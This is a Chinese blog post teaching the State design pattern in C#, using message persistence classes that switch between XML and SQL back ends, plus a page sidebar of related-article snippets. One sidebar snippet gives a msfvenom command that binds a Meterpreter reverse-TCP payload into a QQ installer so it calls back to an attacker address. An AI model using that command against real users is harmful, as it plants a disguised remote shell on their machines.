乐在其中设计模式(C#) - 状态模式(State Pattern)

C# 设计模式:第二十二章 - 行为型模式 之 状态模式(State Pattern) 状态模式是一种行为型设计模式,它允许你根据对象的当前状态来改变其行为。状态模式的核心思想是通过将对象的不同状态封装到独立的类中,每个状态类负责处理该状态下对象的行为。当对象的状态发生变化时,它会切换到相应的状态类,从而改变其行为。通过这种方式,你可以避免使用大量的if-else或switch语句来判断对象的状态,从而使代码更加简洁、灵活和可维护。在这章中,我们学习了状态模式的基本概念、应用场景、实现方法以及注意事项。状态模式允许你根据对象的当前状态来改变其行为。自动售货机。 阅读详情
[索引页]
[源码下载]


乐在其中设计模式(C#) - 状态模式(State Pattern)


作者: webabcd


介绍
允许一个对象在其内部状态改变时改变它的行为。对象看起来似乎修改了它所属的类。


示例
有一个Message实体类,对它的操作有Insert()和Get()方法,持久化数据在SqlServer数据库中或Xml文件里。在对象内部可以根据用户的不同选择不同的数据持久化方案。



MessageModel
using  System;
using  System.Collections.Generic;
using  System.Text;

namespace  Pattern.State
{
    
/// <summary>
    
/// Message实体类
    
/// </summary>

    public class MessageModel
    
{
        
/// <summary>
        
/// 构造函数
        
/// </summary>
        
/// <param name="msg">Message内容</param>
        
/// <param name="pt">Message发布时间</param>

        public MessageModel(string msg, DateTime pt)
        
{
            
this._message = msg;
            
this._publishTime = pt;
        }


        
private string _message;
        
/// <summary>
        
/// Message内容
        
/// </summary>

        public string Message
        
{
            
get { return _message; }
            
set { _message = value; }
        }


        
private DateTime _publishTime;
        
/// <summary>
        
/// Message发布时间
        
/// </summary>

        public DateTime PublishTime
        
{
            
get { return _publishTime; }
            
set { _publishTime = value; }
        }

    }

}


AbstractMessageState
using  System;
using  System.Collections.Generic;
using  System.Text;

namespace  Pattern.State
{
    
/// <summary>
    
/// 状态模式抽象类
    
/// </summary>

    public abstract class AbstractMessageState
    
{
        
/// <summary>
        
/// Context类型
        
/// </summary>

        protected Message _message;

        
/// <summary>
        
/// Context类型属性
        
/// </summary>

        public Message Message
        
{
            
get { return _message; }
            
set { _message = value; }
        }


        
/// <summary>
        
/// 改变状态
        
/// </summary>

        public abstract void StateChangeCheck();

        
/// <summary>
        
/// 获取Message
        
/// </summary>
        
/// <returns></returns>

        public abstract List<MessageModel> Get();

        
/// <summary>
        
/// 插入Message
        
/// </summary>
        
/// <param name="mm">Message实体对象</param>
        
/// <returns></returns>

        public abstract bool Insert(MessageModel mm);
    }

}


XmlMessage
using  System;
using  System.Collections.Generic;
using  System.Text;

namespace  Pattern.State
{
    
/// <summary>
    
/// Xml方式操作Message
    
/// </summary>

    public class XmlMessage : AbstractMessageState
    
{
        
/// <summary>
        
/// 构造函数
        
/// </summary>
        
/// <param name="message">Context类型参数</param>

        public XmlMessage(Message message)
        
{
            
this._message = message;
        }


        
/// <summary>
        
/// 改变状态
        
/// </summary>

        public override void StateChangeCheck()
        
{
            
// 如果UserId是admin则变换状态为SqlMessage
            if (this._message.UserId == "admin")
            
{
                
this._message.AbstractMessageState = new SqlMessage(this._message);
            }

        }


        
/// <summary>
        
/// 获取Message
        
/// </summary>
        
/// <returns></returns>

        public override List<MessageModel> Get()
        
{
            List
<MessageModel> l = new List<MessageModel>();
            l.Add(
new MessageModel("XML方式获取Message", DateTime.Now));

            
return l;
        }


        
/// <summary>
        
/// 插入Message
        
/// </summary>
        
/// <param name="mm">Message实体对象</param>
        
/// <returns></returns>

        public override bool Insert(MessageModel mm)
        
{
            
// 代码略
            return true;
        }

    }

}


SqlMessage
using  System;
using  System.Collections.Generic;
using  System.Text;

namespace  Pattern.State
{
    
/// <summary>
    
/// Sql方式操作Message
    
/// </summary>

    public class SqlMessage : AbstractMessageState
    
{
        
/// <summary>
        
/// 构造函数
        
/// </summary>
        
/// <param name="message">Context类型参数</param>

        public SqlMessage(Message message)
        
{
            
this._message = message;
        }


        
/// <summary>
        
/// 改变状态
        
/// </summary>

        public override void StateChangeCheck()
        
{

        }


        
/// <summary>
        
/// 获取Message
        
/// </summary>
        
/// <returns></returns>

        public override List<MessageModel> Get()
        
{
            List
<MessageModel> l = new List<MessageModel>();
            l.Add(
new MessageModel("SQL方式获取Message", DateTime.Now));

            
return l;
        }


        
/// <summary>
        
/// 插入Message
        
/// </summary>
        
/// <param name="mm">Message实体对象</param>
        
/// <returns></returns>

        public override bool Insert(MessageModel mm)
        
{
            
// 代码略
            return true;
        }

    }

}


Message
using  System;
using  System.Collections.Generic;
using  System.Text;

namespace  Pattern.State
{
    
/// <summary>
    
/// Context类
    
/// </summary>

    public class Message
    
{
        
/// <summary>
        
/// 类型为状态模式抽象类的私有变量
        
/// </summary>

        private AbstractMessageState _abstractMessageState;

        
/// <summary>
        
/// 类型为状态模式抽象类的属性
        
/// </summary>

        public AbstractMessageState AbstractMessageState
        
{
            
get { return _abstractMessageState; }
            
set { _abstractMessageState = value; }
        }
       

        
/// <summary>
        
/// UserId私有变量
        
/// </summary>

        private string _userId;

        
/// <summary>
        
/// UserId
        
/// </summary>

        public string UserId
        
{
            
get { return _userId; }
            
set { _userId = value; }
        }


        
/// <summary>
        
/// 构造函数
        
/// </summary>
        
/// <param name="userId">UserId</param>

        public Message(string userId)
        
{
            
this._userId = userId;

            _abstractMessageState 
= new XmlMessage(this);
        }


        
/// <summary>
        
/// 获取Message
        
/// </summary>
        
/// <returns></returns>

        public List<MessageModel> Get()
        
{
            
// 修改状态
            _abstractMessageState.StateChangeCheck();

            
return _abstractMessageState.Get();
        }


        
/// <summary>
        
/// 插入Message
        
/// </summary>
        
/// <param name="mm">Message实体对象</param>
        
/// <returns></returns>

        public bool Insert(MessageModel mm)
        
{
            
// 修改状态
            _abstractMessageState.StateChangeCheck();

            
return _abstractMessageState.Insert(mm);
        }

    }

}



client
using  System;
using  System.Data;
using  System.Configuration;
using  System.Collections;
using  System.Web;
using  System.Web.Security;
using  System.Web.UI;
using  System.Web.UI.WebControls;
using  System.Web.UI.WebControls.WebParts;
using  System.Web.UI.HtmlControls;

using  Pattern.State;

public  partial  class  State : System.Web.UI.Page
{
    
protected void Page_Load(object sender, EventArgs e)
    
{
        Message m 
= new Message("admin");
        Response.Write(m.Insert(
new MessageModel("插入", DateTime.Now)));
        Response.Write(
"<br />");
        Response.Write(m.Get()[
0].Message + " " + m.Get()[0].PublishTime.ToString());
        Response.Write(
"<br />");

        m 
= new Message("user");
        Response.Write(m.Insert(
new MessageModel("插入", DateTime.Now)));
        Response.Write(
"<br />");
        Response.Write(m.Get()[
0].Message + " " + m.Get()[0].PublishTime.ToString());
        Response.Write(
"<br />");
    }

}


运行结果
True
SQL方式获取Message 2007-3-6 22:58:17
True
XML方式获取Message 2007-3-6 22:58:17


参考
http://www.dofactory.com/Patterns/PatternState.aspx


OK
[源码下载]
C# 设计模式:状态模式(State Pattern) 通过以上的步骤,你现在可以使用状态模式来实现一个简单的交通信号灯状态变化了。状态模式不仅可以简化复杂的条件判断逻辑,还可以提高代码的可扩展性和可维护性。 阅读详情

相关推荐

【愚公系列】二十三种设计模式(二十)-状态模式(State Pattern)

设计模式(Design Pattern)是软件开发领域的宝贵经验,是多人反复借鉴和广泛应用的代码设计指导。它们是一系列经过分类和归纳的代码组织方法,旨在实现可重用性、可维护性和可理解性。使用设计模式,我们能够编写高质量的代码,使其更易于他人理解,并提供了代码可靠性的保证。毫无疑问,设计模式对个人、团队和整个系统都带来了显著的益处。它们将代码开发提升到工程化水平,为软件工程构建提供了坚实的基础,就如同大厦的一块块精巧的砖石一样。在项目中明智地应用设计模式可以完美地解决各种复杂问题。

愚公智库 47万+

设计模式 -- 状态模式

状态模式是一种行为型设计模式,它允许对象在其内部状态发生变化时改变其行为。状态模式将状态和状态对应的行为封装在不同的类中,使得状态可以独立于对象而变化状态模式的应用场景:订单状态管理:订单状态随着订单的不同阶段不断变化,可以使用状态模式来管理订单状态的转换。游戏角色状态管理:游戏中的角色状态也会随着游戏进程不断变化,可以使用状态模式来管理角色状态的转换。线程状态管理:线程的状态也会随着线程的运行状态不断变化,可以使用状态模式来管理线程状态的转换。

w5_Silence的博客 1025

2.13寸电子墨水屏HINK-E0213+esp8266

很久以前买的一块电子墨水屏,运气很好,这个型号HINK-E0213资料很全,而且微雪官网也有相关电路资料等。

梦境虽美,却不长. 3031

如何在.Net中使用状态设计模式

设计模式用于解决常见的设计问题并减少源代码中的复杂性。 状态设计模式是一种行为模式,用于表示对象之间的一对多关系,使得如果修改了一个对象,那么所有从属对象也将被修改。 四人帮定义状态设计模式如下: 当对象的内部状态更改时,允许其更改其行为。 该对象似乎将更改其类。 本文讨论了如何在.Net中使用状态设计模式。 [Git要点: Git版本控制入门 。 • Git和GitHub的2...

cxu0262的博客 173

CTS实战:如何用set_sense优化时钟树平衡(附ICC2避坑指南)

本文深入探讨了在时钟树综合(CTS)中,如何正确使用`set_sense`命令优化时钟树平衡,并对比了其与`set_disable_timing`的本质区别。通过实战案例详细解析了`-stop_propagation`和`-clock_leaf`参数的应用场景,并提供了ICC2工具中的关键避坑指南,帮助后端工程师精准控制时钟拓扑,避免时序分析漏洞。

weixin_28933797的博客 467

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8030

【23种设计模式】之状态模式(State Pattern) .Net Core实现

在状态模式(State Pattern)中,类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。 在状态模式中,我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象。

欢迎指错||纠正||建议||水评+点赞&&评论&&关注&&转发 617

【AI理论学习】手把手推导扩散模型:Diffusion Models(DDPM)

生成扩散模型DDPM如下图所示分为前向、逆向两个过程,它首先通过不断往原始清晰数据中添加噪声使其变成标准高斯噪声(前向过程),而后期望从标准高斯噪声中还原原始数据(逆向过程)。若能实现,那便可从已知的标准高斯分布中采样一个噪声数据,而后利用DDPM模型生成符合原始数据分布的新数据。 Diffusion模型包含两个过程:数学符号:y∝xy\propto xy∝x:y正比于x,即y随着x增大而线性增大。 条件概率:贝叶斯公式:p(A∣B)=p(B∣A)×p(A)p(B)p(A|B)=\frac{p(B|A)\

小哲的博客 1523

设计模式-状态模式

状态(机)模式学习

FDoubleman的博客 1130

生成模型实战 | 基于Transformer生成音乐

本文介绍了基于Transformer架构的音乐生成方法,将音乐视为一系列事件序列进行处理。与将音乐表示为多维图像的MuseGAN不同,该方法使用类似GPT的仅解码器模型,基于先前事件预测下一个音乐事件。模型使用MIDI格式的钢琴音乐数据,通过分词处理将音符转换为note-on、note-off、time-shift和velocity四种事件类型,共388个独特词元,映射为索引序列后输入网络。训练完成后,可通过调整温度参数控制生成音乐的新颖性,从而创作出风格类似训练数据且连贯逼真的音乐作品。

盼小辉丶的博客 6114

把 MANDT 锁进保险箱:ABAP Client Handling 与 Client Isolation(聚焦 AMDP 的 Client Safety )

本文探讨了ABAP系统中Client Handling与Client Isolation机制的演进,重点分析了AMDP环境下多租户隔离的风险与解决方案。传统ABAP SQL/CDS通过隐式Client过滤提供安全保障,而AMDP因其原生SQLScript特性容易绕过隔离机制。文章对比了旧时代依赖开发自觉的传参方式与新时代通过AMDP OPTIONS强约束的语法方案,详细介绍了CLIENT INDEPENDENT和CDS SESSION CLIENT DEPENDENT两种编译期安全机制,阐述了USING列表

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 348

.NET 开发中最常用的设计模式

设计模式是软件开发人员在开发过程中面临的常见问题的一组最佳实践和解决方案。这些模式通常是可重用的,并且可以应用于不同的项目。设计模式不是语言功能或库,而是一种组织代码以使其更易于维护、可扩展和可重用的方式。它们通常分为三种类型:创造模式、结构模式和行为模式。创建模式处理对象创建机制,尝试以适合情况的方式创建对象。结构模式处理对象组成,行为模式处理对象之间的通信。

学以致用 知行合一 3132

【软考之软件设计师】学习笔记

interface 接口implements 实现接口(与接口配套使用)接口里要是有方法定义,子类就会实现。

云轩阁 2544

设计模式24:State Pattern (状态模式)

英文原文:http://www.dofactory.com/Patterns/PatternState.aspx一、State Pattern (状态模式)Define: Allow an object to alter its behavior when its internal state changes. The object will appear to change its cl

薛敬明的专栏 1900

Briefings in Bioinformatics投稿经验分享

Briefings in Bioinformatics投稿经验分享

LiRongLu_的博客 3359

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

状态模式(State Pattern)

设计模式 - 吕震宇 .NET设计模式系列文章 薛敬明的专栏 乐在其中设计模式(C#) 设计模式24:State Pattern (状态模式) 英文原文:http://www.dofactory.com/Patterns/PatternState.aspx 一、State Pattern (状态模式) Define: Allow an object to alter

jiangxinyu的专栏 2314

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

【C#设计模式】18.状态模式(State Pattern)【行为型】

1.1 动机(Motivate) 在软件构建过程中,某些对象的状态如果改变,其行为也会随之而发生变化,比如文档处于只读状态,其支持的行为和读写状态支持的行为就可能完全不同。 如何在运行时根据对象的状态来透明地更改对象的行为?而不会为对象操作和状态转化之间引入紧耦合? 1.2 意图(Intent) 允许一个对象在其内部状态改变时改变它的行为。从而使对象看起来似乎修改了其行为。       ——《设计模式》GoF ......

星Yeah 的博客 2124

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

C#设计模式读书笔记之状态模式(State Pattern)

状态模式(State pattern)【使用频率:★★★☆☆】 1.概述:允许一个对象在其内部状态改变时改变它的行为。 2.解决的问题:主要解决的是当控制一个对象状态转换的条件过于复杂时的情况。把状态的判断逻辑转移到表示不同状态的一系列类中,可以把复杂的逻辑判断简单化。 3.模式中的角色   3.1上下文环境(Context):在Context类中维护一个抽象状态类State的实例,这个...

qq826364410的专栏 531

设计模式 状态模式(State Pattern)

状态模式(State Pattern)flyfish#include "stdafx.h" #include class role; class employee { public: virtual void output(role *role_ptr) = 0;};class engineer : public employee {public: virtua

二分掌柜的 844

C#设计模式--状态模式(State Pattern)

首先,定义一个状态接口,所有具体的状态类都将实现这个接口。上下文类维护一个对当前状态的引用,并提供一个方法来改变状态。状态机模式通过将状态和行为分离,使得状态之间的转换更加清晰和可控。虽然它会增加一些代码量,但在处理复杂状态管理和状态转换时,其优点是非常明显的。

仰望星空的人 1042

设计模式(十一)————状态模式(State Pattern)

定义:允许一个对象在其内部状态发生改变时改变他的行为。对象看起来似乎修改了它的类。(类的行为是基于它的状态改变的,使用状态模式可以有效解决代码中if-else和switch的case太多的问题,使代码更容易维护) UML类图: C++实现: #include<iostream> #include<string> using namespace std; cla...

chczy1的博客 171
上一篇: [翻译]开发一个自己的HTML在线编辑器(二)
下一篇: [翻译]asp.net 2.0中页的生存周期(Lifecycle)和动态控件
webabcd
博客等级 码龄17年 28粉丝 911原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址